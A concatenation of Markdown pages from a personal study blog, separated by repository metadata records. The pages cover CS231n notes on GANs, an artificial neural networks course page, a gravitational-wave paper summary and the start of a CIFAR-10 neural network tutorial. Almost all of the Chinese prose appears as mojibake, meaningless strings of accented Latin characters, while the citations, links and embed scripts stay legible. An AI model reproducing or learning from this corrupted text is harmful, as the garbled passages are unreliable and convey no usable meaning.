ๅฐฑๆ˜ฏไธ€ไธชไพ‹ๅญ๏ผŒๅฎƒๆ˜ฏไธ€้กน่พพๆˆๅ‰่ฟฐ็›ฎๆ ‡็š„ไธ€้กน้‡่ฆๅทฅไฝœใ€‚\n\nๆญคๅค„็š„ paper๏ผš\n\n> Arjovsky M, Chintala S, Bottou L. Wasserstein gan[J]. arXiv preprint arXiv:1701.07875, 2017.\n>\n> Gulrajani I, Ahmed F, Arjovsky M, et al. Improved training of wasserstein gans[C]//Advances in Neural Information Processing Systems. 2017: 5767-5777.\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99e69b6e453.png)\n\n็Žฐๅœจ็œ‹็œ‹็›ฎๅ‰ไธบๆญข็š„ๆ•ดไธช่ฎญ็ปƒๅ›พๆ™ฏใ€‚ๆˆ‘ไปฌ้…็ฝฎๆœ‰็ฅž็ป็ฝ‘็ปœ๏ผŒไนŸๅฏน็”Ÿๆˆๅ™จ็ฝ‘็ปœๅ’Œๅˆคๅˆซๅ™จ็ฝ‘็ปœ้ƒฝ่ฟ›่กŒไบ†่ฎญ็ปƒใ€‚็Žฐๅœจๅœจๅ‡ ่ฝฎ่ฎญ็ปƒไน‹ๅŽ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅ–ๅพ—็”Ÿๆˆๅ™จ็ฝ‘็ปœๅนถ็”จๅฎƒๆฅ็”Ÿๆˆๆ–ฐ็š„ๅ›พๅƒ๏ผŒๆˆ‘ไปฌๅช้œ€่ฆๆŠŠๅ™ชๅฃฐ z ไผ ็ป™ๅฎƒ๏ผŒๅนถ็”Ÿๆˆไผช้€ ๅ›พๅƒใ€‚\n\n---\n\nGANs ็”Ÿๆˆ็š„ๆ ทๆœฌ๏ผš\n\n![](https://i.loli.net/2018/09/13/5b99e7a63772b.png)\n\n![](https://i.loli.net/2018/09/13/5b99e78fa5071.png)\n\n\n\n#### Generative Adversarial Nets: Convolutional Architectures\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Radford et al, โ€œUnsupervised Representation Learning with Deep Convolutional Generative Adversarial Networksโ€, ICLR 2016\n\n![](https://i.loli.net/2018/09/13/5b99e899456ed.png)\n\n่‡ช Goodfellow ไน‹ๅŽๅฐฑๅผ€ๅง‹้™†็ปญๅ‡บ็Žฐไบ†ไธ€ไบ›ๆ”นๅ–„ GANs ็š„็ ”็ฉถใ€‚ๅฏนไบŽๆๅ‡ๆ ทๆœฌ่ดจ้‡็š„้‡ๅคง้ฃž่ทƒๆ˜ฏ็”ฑ Alex Radford ๅœจ ICLR2016 ไธŠๆๅ‡บ็š„๏ผŒไป–ๆๅ‡บ็ป™ GANs ๅขžๅŠ ๅท็งฏ็ป“ๆž„ใ€‚ๅœจ่ฏฅๆ–‡็ซ ไธญ๏ผŒๆœ‰ๆ•ดๆ•ดไธ€ไธช็ณปๅˆ—็š„็ป“ๆž„่ฎพ่ฎกๆŒ‡ๅ—๏ผŒๆฅๅธฎๅŠฉ GANs ็”Ÿๆˆๆ›ดๅฅฝ็š„ๆ ทๆœฌใ€‚ไธ‹้ขๅ…ทไฝ“่ฎฒ่ฎฒ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99e91b51b1b.png)\n\n่ฟ™ๆ˜ฏ่ฎบๆ–‡ไธญไฝฟ็”จ็š„ไธ€ไธชๅท็งฏ็ป“ๆž„็š„ไพ‹ๅญใ€‚ไปŽ่พ“ๅ…ฅ z ๅผ€ๅง‹๏ผŒไนŸๅฐฑๆ˜ฏๅ™ชๅฃฐๅ‘้‡ z๏ผŒๆŽฅ็€ไธ€่ทฏๅ˜ๆข็›ดๅˆฐ่พ“ๅ‡บๆ ทๆœฌใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/13/5b99e9671577e.png)\n\n้‚ฃไนˆ้€š่ฟ‡่ฟ™ๆ ทไธ€ไธชๅคงๅž‹็š„ๅท็งฏ็ป“ๆž„๏ผŒๆˆ‘ไปฌไผš็œ‹ๅˆฐไปŽ่ฟ™ๆ ท็š„ๆจกๅž‹็”Ÿๆˆ็š„ๆ ทๆœฌๆ‰็œŸๆญฃๅผ€ๅง‹ๅ…ทๆœ‰ๅฅฝ็š„่ง†่ง‰่ดจ้‡ใ€‚้‚ฃไนˆ่ฟ™ไบ›ๆ ทๆœฌๆ˜ฏ้€š่ฟ‡ๅœจๅงๅฎคๆ•ฐๆฎ้›†ไธŠ่ฎญ็ปƒๅพ—ๆฅ็š„๏ผŒๅŒๆ—ถๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๅ„็งๅ„ๆ ท็œ‹ไธŠๅŽป้žๅธธ็œŸๅฎž็š„ๅงๅฎค๏ผŒๅฎถๅ…ท็ญ‰็ญ‰ใ€‚\n\n![](https://i.loli.net/2018/09/13/5b99ea58cacf8.png)\n\n ๆˆ‘ไปฌไนŸๅฏไปฅ่ฏ•็€่งฃ้‡Šไธ€ไธ‹่ฟ™ไบ› GANs ้ƒฝๅœจๅšไบ›ไป€ไนˆใ€‚ๆœฌไพ‹ไธญ๏ผŒๆˆ‘ไปฌๅฏไปฅๅš็š„ๆ˜ฏ๏ผšๆˆ‘ไปฌๅฏไปฅๅ–ๅพ—ไธคไธช z๏ผŒไนŸๅฐฑๆ˜ฏไธคไธชไธๅŒ็š„ๅ™ชๅฃฐๅ‘้‡๏ผŒ็„ถๅŽๆˆ‘ไปฌๅœจ่ฟ™ไธคไธชๅ‘้‡ไน‹้—ดๆ’ๅ€ผใ€‚่ฟ™้‡Œๆฏไธ€่กŒ้ƒฝๆ˜ฏไธ€็งไปŽ้šๆœบๅ™ชๅฃฐ z ๅˆฐๅฆไธ€ไธช้šๆœบๅ™ชๅฃฐๅ‘้‡ z ็š„ๆ’ๅ€ผ่ฟ‡็จ‹ใ€‚ไฝ ๅฏไปฅ็œ‹ๅ‡บๆฅๅฎƒๅœจๅ˜ๅŒ–๏ผŒ่ฟ™ไบ›้ƒฝๆ˜ฏๅนณๆป‘ๆ’ๅ€ผไบง็”Ÿ็š„ๅ›พๅƒใ€‚\n\n\n\n#### Generative Adversarial Nets: Interpretable Vector Math\n\nๆˆ‘ไปฌๅฏไปฅๅšๅพ—ๅฆไธ€ไปถไบ‹ๆ˜ฏ๏ผŒๆˆ‘ไปฌ่ฆๆ›ดๆทฑๅ…ฅๅˆ†ๆž่ฟ™ไบ›ๅ‘้‡ z ็š„ๅซไน‰๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆˆ‘ไปฌๅฏไปฅๅฏน่ฟ™ไบ›ๅ‘้‡ๅšไธ€ไบ›ๆ•ฐๅญฆ่ฟ็ฎ—ใ€‚ๅ›พไธญ็š„ๅฎž้ชŒๆ‰€ๅš็š„ๆ˜ฏๅ–ๅพ—ไธ€ไบ›็ฌ‘่„ธๅ›พๅƒ๏ผŒ้‡‡ๆ ท่‡ชๅฅณๆ€ง็ฌ‘่„ธ๏ผŒ็„ถๅŽๆˆ‘ไปฌๅ†ๅ–ไธ€ไบ›ๆทกๅฎš่„ธ็š„ๅฅณๆ€งๆ ทๆœฌ๏ผŒๅ†ๅ–ไธ€ไบ›ๆทกๅฎš่„ธ็”ทๆ€งๆ ทๆœฌ๏ผŒๆˆ‘ไปฌไผšๅพ—ๅˆฐ็ฌ‘่„ธ็”ทๆ€งๆ ทๆœฌใ€‚้‚ฃไนˆๆˆ‘ไปฌๅฏไปฅๅ–ๅพ—ไธ€ไธช็”ฑไธŠ่ฟฐๅ…ฌๅผไบง็”Ÿ็š„ z ๅ‘้‡๏ผŒ็„ถๅŽ็”Ÿๆˆๅนถ่Žทๅพ—็ฌ‘่„ธ็”ทๆ€งๆ ทๆœฌใ€‚\n\n![](https://i.loli.net/2018/09/13/5b99eb5ac6d49.png)\n\nไธ‹้ขไธ€ๆ ทๆ„ๆ€ใ€‚ใ€‚ใ€‚ใ€‚\n\n![](https://i.loli.net/2018/09/13/5b99eb75e7e27.png)\n\n\n\n#### 2017: Explosion of GANs\n\n![](https://i.loli.net/2018/09/13/5b99ecc53709b.png)\n\nๆญคๅค„ไธคไธชๅพˆๅธ…ๆฐ”็š„้“พๆŽฅ๏ผš\n\n> https://github.com/soumith/ganhacks\n>\n> https://github.com/hindupuravinash/the-gan-zoo\n\n![](https://i.loli.net/2018/09/13/5b99eec8ccd89.png)\n\n\n\n#### Summary: Pros vs Cons\n\n![](https://i.loli.net/2018/09/13/5b99eef72fc6a.png)\n\n\n\n\n\n### Recap\n\n![](https://i.loli.net/2018/09/13/5b99ef3d778d4.png)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_12.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6820101141929626, "alphanum_fraction": 0.7069256901741028, "avg_line_length": 22.649999618530273, "blob_id": "50fbe4d072d018667bf0abe3b535cca887f68e0c", "content_id": "fbeefab8d50fee412b60bbe59cc58fd8f3c22501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2933, "license_type": "no_license", "max_line_length": 394, "num_lines": 100, "path": "/blog/ANN/index.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Artificial Neural Networks\ndate: 2018-11-12\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n[TOC]\n\n# Artificial Neural Networks\n\n**ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ**\n\n---\n\n## Course Description\n\nๅŸบๆœฌๅ†…ๅฎน๏ผš\n\n1. ๅคง่„‘ไธญ็ฅž็ป็ป†่ƒžๅŠๅ…ถ็ป„ๆˆ็š„็”Ÿ็‰ฉ็ฅž็ป็ฝ‘็ปœใ€‚\n2. ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ็š„็‰น็‚น๏ผŒๅ‘ๅฑ•ๅŽ†ๅฒๅ’ŒๅŸบๆœฌ็ฑปๅž‹ใ€‚\n3. ๅ‰้ฆˆๅž‹ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ(ๆ„Ÿ็Ÿฅๅ™จใ€BP็ฝ‘็ปœ)ใ€‚\n4. ๅ้ฆˆๅž‹ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ(Hopfieldใ€CNN็ฝ‘็ปœ)ใ€‚\n5. ็ซžไบ‰็ฅž็ป็ฝ‘็ปœไธŽ่‡ช็ป„็ป‡ๆ˜ ๅฐ„ๆจกๅž‹ใ€‚ \n6. ๅพ„ๅ‘ๅŸบๅ‡ฝๆ•ฐ็ฝ‘็ปœ(RBF็ฝ‘็ปœ)ใ€‚\n7. ๆทฑๅบฆๅญฆไน ็†่ฎบไธŽ็ฎ—ๆณ•ใ€‚\n\n\n\n---\n\n## Reading Materials\n\n1. ๅผ ็ซ‹ๆ˜Ž๏ผŒใ€Šไบบๅทฅ็ฅž็ป็ฝ‘็ปœ็š„ๆจกๅž‹ๅŠๅ…ถๅบ”็”จใ€‹ ๅคๆ—ฆๅคงๅญฆๅ‡บ็‰ˆ็คพ๏ผŒ1993ใ€‚(็ฌฌ1-4็ซ ) \n\n > PDF ้“พๆŽฅ:https://pan.baidu.com/s/1jAZ_Mb4pRsqm-GDOXMEvUg ๅฏ†็ :4gga\n\n2. ๅพ็ง‰้“ฎ็ญ‰๏ผŒใ€Š็ฅž็ป็ฝ‘็ปœ็†่ฎบไธŽๅบ”็”จใ€‹๏ผŒๅŽๅ—็†ๅทฅๅคงๅญฆๅ‡บ็‰ˆ็คพ๏ผŒ1994ใ€‚\n\n3. ไผŠๆฉยทๅคๅพท่ดนๆด›็ญ‰(่ตต็”ณๅ‰‘็ญ‰่ฏ‘)๏ผŒๆทฑๅบฆๅญฆไน ๏ผŒไธญๅ›ฝๅทฅไฟกๅ‡บ็‰ˆ้›†ๅ›ขไบบๆฐ‘้‚ฎ็”ตๅ‡บ็‰ˆ็คพ๏ผŒ 2017ใ€‚\n\n4. ๅดๅฒธๅŸŽ๏ผŒ็ฅž็ป็ฝ‘็ปœไธŽๆทฑๅบฆๅญฆไน ๏ผŒไธญๅ›ฝๅทฅไฟกๅ‡บ็‰ˆ้›†ๅ›ข็”ตๅญๅทฅไธšๅ‡บ็‰ˆ็คพ๏ผŒ 2016ใ€‚\n\n5. R. Hecht-Nielsen, ใ€ŠNeurocomputingใ€‹๏ผŒAddison-Wesley Publishing Company๏ผŒ1990ใ€‚\n\n\n\n---\n\n\n## Notes\n\n- ๆฆ‚่ฎบ\n- [ๅ‰้ฆˆๅž‹ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ](./note1.html)\n- ๅ้ฆˆๅž‹ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./index.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.6880888342857361, "alphanum_fraction": 0.7375504970550537, "avg_line_length": 52.08928680419922, "blob_id": "93c4b48bc1bcf09c0af625df1d0e3cc7a0e53ebf", "content_id": "d2753790e163d065bff255decfac8aebba928627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3006, "license_type": "no_license", "max_line_length": 394, "num_lines": 56, "path": "/blog/paper_summary/Techniques for gravitational-wave detection of compact binary coalescence.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Techniques for gravitational-wave detection of compact binary coalescence\ndate: 2018-12-23\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n# Techniques for gravitational-wave detection of compact binary coalescence (2018)\n\n>Techniques for gravitational-wave detection of compact binary coalescence. Sarah Caudill for the LIGO Scientific Collaboration and the Virgo Collaboration [1098 XG Amsterdam, The Netherlands] (2018 EUSIPCO) \n\n\n\n<iframe src=\"./Techniques for gravitational-wave detection of compact binary coalescence.pdf\" style=\"width:1000px; height:1000px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"https://ieeexplore.ieee.org/abstract/document/8553549\">Download PDF</a></iframe>\n\n\n\n- A concise review for <u>MATCHED-FILTERING BASED PIPELINES</u>.\n - Template Banks\n - Signal-consistency Checks\n - Coincidence\n - Ranking Statistics\n- Some papers should be noted for myself:\n - More details about the searches for <u>un-modeled transient GW signals</u>:\n - B. P. Abbott et al. Observing gravitational-wave transient gw150914 with minimal assumptions. Phys. Rev. D, 93:122004, Jun 2016.\n - B. P. Abbott et al. All-sky search for short gravitational-wave bursts in the first advanced ligo run. Phys. Rev. D, 95:042003, Feb 2017.\n - Several <u>matched-filter-based searches</u>:\n - T Adams, D Buskulic, V Germain, G M Guidi, F Marion, M Montani, B Mours, F Piergiovanni, and G Wang. Low-latency analysis pipeline for compact binary coalescences in the advanced gravitational wave detector era. Classical and Quantum Gravity, 33(17):175012, 2016.\n - Cody Messick et al. Analysis framework for the prompt discovery of compact binary mergers in gravitational-wave data. Phys. Rev. D, 95:042001, Feb 2017.\n - Alexander H. Nitz, Thomas Dent, Tito Dal Canton, Stephen Fairhurst, and Duncan A. Brown. Detecting binary compact-object mergers with gravitational waves: Understanding and improving the sensitivity of the pycbc search. The Astrophysical Journal, 849(2):118, 2017.\n - Samantha A Usman et al. The pycbc search for gravitational waves from compact binary coalescence. Classical and Quantum Gravity, 33(21):215004, 2016.\n - \n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Techniques for gravitational-wave detection of compact binary coalescence.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.636853039264679, "alphanum_fraction": 0.6612952947616577, "avg_line_length": 34.96455383300781, "blob_id": "be1e273036499cf6a9ac02d0ec9d9e3806366149", "content_id": "0ef7daf4888ac40bc19867e545d3984479599c0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 127505, "license_type": "no_license", "max_line_length": 464, "num_lines": 2257, "path": "/blog/cs231n/cs231n_story_MLP.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ไธ€ๆฎตๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœ็š„ๆ•…ไบ‹\ndate: 2017-09-10\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n# ไธ€ๆฎตๅ…ณไบŽ็ฅž็ป็ฝ‘็ปœ็š„ๆ•…ไบ‹\n\n\n\n๏ผˆๆˆ‘ๆ˜ฏ็›—ๅ›พๅคงไป™๏ผŒๆ‰€ๆœ‰ๅ›พ็‰‡่ต„ๆบๅ…จ้ƒจๆฅๆบไบŽ็ฝ‘็ปœ๏ผŒ่‹ฅไพตๆƒๆœ›ๅ‘Š็Ÿฅ๏ฝž๏ผ‰\n\n\n\n- ๆœฌๆ–‡ๆ˜ฏไป€ไนˆ๏ผŸ\n - ๆœฌๆ–‡ไปฅCS231n็š„Assignment2ไธญ็š„Q1-Q3้ƒจๅˆ†ไปฃ็ ไฝœไธบไพ‹ๅญ๏ผŒ็›ฎๆ ‡ๆ˜ฏ็”ฑ้žๅธธๆต…ๅ…ฅๆทฑๅพ—ๆžๆธ…ๆฅš็ฅž็ป็ฝ‘็ปœ๏ผŒๅŒๆ—ถไนŸๆ˜ฏไปฅๅ›พ็‰‡ๅˆ†็ฑป่ฏ†ๅˆซไปปๅŠกไฝœไธบๆˆ‘ไปฌไธ€ๆญฅไธ€ๆญฅๆž„ๅปบ็ฅž็ป็ฝ‘่ทฏ็š„็›ฎๆ ‡ใ€‚\n - ๆœฌๆ–‡ๆ—ข้€‚ๅˆไป…็œ‹ๅพ—ๆ‡‚ไธ€็‚นPythonไปฃ็ ใ€ๆ‡‚ๅพ—็Ÿฉ้˜ต็š„ๅŸบๆœฌ่ฟ็ฎ—ใ€ๅฌ่ฏด่ฟ‡็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•่ฟ™ไธช่ฏ็š„ๆœ‹ๅ‹๏ผŒไนŸ้€‚ๅˆๅ‡†ๅค‡ๅญฆไน ๅ’ŒๆญฃๅœจๅฎŒๆˆCS231n่ฏพ็จ‹ไฝœไธš็š„็š„ๆœ‹ๅ‹ใ€‚\n - ๆœฌๆ–‡ๅ†…ๅฎนๆถ‰ๅŠ๏ผšๅพˆ็ป†่Š‚็š„Pythonไปฃ็ ่งฃๆž + ็ฅž็ป็ฝ‘็ปœไธญ็Ÿฉ้˜ต่ฟ็ฎ—็š„ๅ›พๅƒๅŒ–่งฃ้‡Š + ๆจกๅ—ๅŒ–Pythonไปฃ็ ็š„ๆต็จ‹ๅ›พ่งฃๆžใ€‚\n - ๆœฌๆ–‡ๆ˜ฏไปŽPython็ผ–็จ‹ไปฃ็ ็š„ๅฎž็Žฐ่ง’ๅบฆ็†่งฃ๏ผŒไธ€ๅฑ‚ไธ€ๅฑ‚ๆ‹จๅผ€็ฅž็ป็ฝ‘็ปœ็š„้ข็บฑ๏ผŒไปฅๆžๆธ…ๆฅšๆ•ฐๆฎๅœจๅ…ถไธญ็ฉถ็ซŸๆ˜ฏๆ€Žไนˆ่ฟๅŠจๅ’Œๅค„็†็š„ไธบๆœ€็ปˆ็›ฎๆ ‡ใ€‚ๅธŒๆœ›ๅฏไปฅไธบๅฐ็™ฝ๏ผŒๅฐคๅ…ถๆ˜ฏไธบๆญฃๅœจๅญฆไน CS231n่ฏพ็จ‹็š„ๆœ‹ๅ‹๏ผŒๆไพ›ไธ€ไธชๆ—ขๆต…ๆ˜พๅˆๅฟซๆท็š„่ง‚็‚น๏ผŒ็”จๆœ€็›ดๆŽฅ็š„ๆ–นๅผๅผ„ๆธ…ๆฅšๅนถๆž„ๅปบไธ€ไธช็ฅž็ป็ฝ‘็ปœๅ‡บๆฅใ€‚ๆ‰€ไปฅ๏ผŒๆญคๆ–‡ไธ้€‚ๅˆ็ซ ่Š‚่ทณ่ทƒๅผ้˜…่ฏปใ€‚\n\n- ๆœฌๆ–‡ไธๆ˜ฏไป€ไนˆ๏ผŸ\n\n ไธๆถ‰ๅŠ่‰ฐๆทฑ็š„็ฎ—ๆณ•ๅŽŸ็†๏ผŒๅฟฝ็•ฅ็ปๅคงๅคšๆ•ฐๆ•ฐๅญฆ็ป†่Š‚๏ผŒไนŸๅฐฝ้‡ไธๆ‰ฏไปปไฝ•็”Ÿๆถฉ็š„ไธ“ไธšๆœฏ่ฏญ๏ผŒไนŸไธไผšๅฏน็ฎ—ๆณ•ๅ’Œไผ˜ๅŒ–ๅค„็†ๆŠ€ๆœฏๅšไปปไฝ•ๆจชๅ‘ๅฏนๆฏ”ใ€‚\n\n\nCS231n่ฏพ็จ‹่ฎฒๅธˆAndrej Karpathyๅœจไป–็š„ๅšๅฎขไธŠๅ†™่ฟ‡ไธ€็ฏ‡ๆ–‡็ซ [Hacker's guide to Neural Networks](http://karpathy.github.io/neuralnets/)๏ผŒๅ…ถไธญ็š„็ฒพ็ฅžๆ˜ฏๆˆ‘ๆœ€ๆฌฃ่ต็š„ไธ€็งๆ•™็จ‹ๅ†™ไฝœๆ–นๅผ๏ผšโ€œ<u>My exposition will center around code and physical intuitions instead of mathematical derivations. Basically, I will strive to present the algorithms in a way that I wish I had come across when I was starting out.</u>โ€\n\n> **โ€œโ€ฆeverything became much clearer when I started writing code.โ€**\n>\n\nๅบŸ่ฏไธๅคš่ฏด๏ผŒๆ‰พไธชๆฟๅ‡ณๅๅฅฝ๏ผŒๆ…ขๆ…ขๅฌๆ•…ไบ‹๏ฝž\n\n\n\n---\n\n## ๅพ…ๆŠ˜่…พ็š„ๆ•ฐๆฎ้›†\n\nไฟ—่ฏ่ฏดๅพ—ๅฅฝ๏ผš็šฎ่ฃคๅฅ—ๆฃ‰่ฃค๏ผŒ้‡Œ่พนๆœ‰็ผ˜ๆ•…๏ผ›ไธๆ˜ฏๆฃ‰่ฃค่–„๏ผŒๅฐฑๆ˜ฏ็šฎ่ฃคๆฒกๆœ‰ๆฏ›๏ผ\n\nๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆ˜ฏ่ฆ็”จๆฅ่งฃๅ†ณๆŸ็‰นๅฎš้—ฎ้ข˜็š„๏ผŒไธๆ˜ฏๅฎถ้‡Œ้—ฒ็ฝฎ็š„่Šฑ็“ถๆ‘†่ฎพ๏ผŒๆจกๅž‹็š„ๆž„ๅปบ้ƒฝๆœ‰็€ๅฎƒ็š„ๅŠจๆœบใ€‚ๆ‰€ไปฅ๏ผŒ้ฆ–ๅ…ˆ่ฎฉๆˆ‘ไปฌ็ฎ€ๅ•ไบ†่งฃไธ‹่ฆๆ‘†ๅผ„็š„ๆ•ฐๆฎ้›†๏ผˆCIFAR-10๏ผ‰๏ผŒๆœ€็ปˆ็š„็›ฎๆ ‡ๆ˜ฏ่ฆๅฎŒๆˆไธ€ไธชๅ›พ็‰‡ๆ ทๆœฌๆ•ฐๆฎๆบ็š„ๅˆ†็ฑป้—ฎ้ข˜ใ€‚\n\n![](http://images2015.cnblogs.com/blog/405927/201603/405927-20160327161120120-954196078.png)\n\n**ๅ›พๅƒๅˆ†็ฑปๆ•ฐๆฎ้›†๏ผšCIFAR-10ใ€‚**่ฟ™ๆ˜ฏไธ€ไธช้žๅธธๆต่กŒ็š„ๅ›พๅƒๅˆ†็ฑปๆ•ฐๆฎ้›†ๆ˜ฏ[CIFAR-10](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Ekriz/cifar.html)ใ€‚่ฟ™ไธชๆ•ฐๆฎ้›†ๅŒ…ๅซไบ†60000ๅผ $32\\times 32$็š„ๅฐๅ›พๅƒ๏ผŒๅ•ไธชๅƒ็ด ็š„ๆ•ฐๅ€ผ่Œƒๅ›ด้ƒฝๅœจ0-255ไน‹้—ดใ€‚ๆฏๅผ ๅ›พๅƒ้ƒฝๅฏนๅบ”ไบŽๆ˜ฏ10็งๅˆ†็ฑปๆ ‡็ญพ(label)ไธญ็š„ไธ€็งใ€‚ๆญคๅค–๏ผŒ่ฟ™60000ๅผ ๅ›พๅƒ่ขซๅˆ†ไธบๅŒ…ๅซๅธฆๆœ‰ๆ ‡็ญพ็š„50000ๅผ ๅ›พๅƒ็š„่ฎญ็ปƒ้›†ๅ’ŒๅŒ…ๅซไธๅธฆๆœ‰ๆ ‡็ญพ็š„10000ๅผ ๅ›พๅƒ็š„ๆต‹่ฏ•้›†ใ€‚\n\n---\n\n![img](http://upload-images.jianshu.io/upload_images/2301760-77211119464a6c5d.png)\n\nไธŠๅ›พๆ˜ฏๅ›พ็‰‡ๆ ทๆœฌๆ•ฐๆฎๆบ[CIFAR-10](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Ekriz/cifar.html)ไธญ่ฎญ็ปƒ้›†็š„ไธ€้ƒจๅˆ†ๆ ทๆœฌๅ›พๅƒ๏ผŒไปŽไธญไฝ ๅฏไปฅ้ข„่งˆ10ไธชๆ ‡็ญพ็ฑปๅˆซไธ‹็š„10ๅผ ้šๆœบๅ›พ็‰‡ใ€‚\n\n---\n\n**ๅฐ็ป“๏ผš**\n\nๅœจๆˆ‘ไปฌ็š„ๆ•…ไบ‹ไธญ๏ผŒๅช้œ€่ฆ่ฎฐๅพ—่ฟ™ไธช่ฎญ็ปƒ้›†ๆ˜ฏไธ€ๅ †$32\\times32$็š„RGBๅฝฉ่‰ฒๅ›พๅƒไฝœไธบ่ฎญ็ปƒ็›ฎๆ ‡๏ผŒไธ€ไธชๆ ทๆœฌๅ›พๅƒๅ…ฑๆœ‰$32\\times32\\times3$ไธชๆ•ฐๆฎ๏ผŒๆฏไธชๆ•ฐๆฎ็š„ๅ–ๅ€ผ่Œƒๅ›ด0~255๏ผŒไธ€่ˆฌ็”จ`x`ๆฅๆ ‡่ฎฐใ€‚ๆฏไธชๅ›พ่ฟ˜้…ๆœ‰ไธ€ไธชๆ ‡็ญพๅ€ผ๏ผŒๆ€ปๅ…ฑ10ไธชๆ ‡็ญพ๏ผŒไปฅๅŽๆˆ‘ไปฌ้ƒฝ็”จ`y`ๆฅๆ ‡่ฎฐใ€‚๏ผˆๆ‚„ๆ‚„ๅ‘Š่ฏ‰ไฝ ็š„ๆ˜ฏ๏ผšๆฏไธชๅƒ็ด 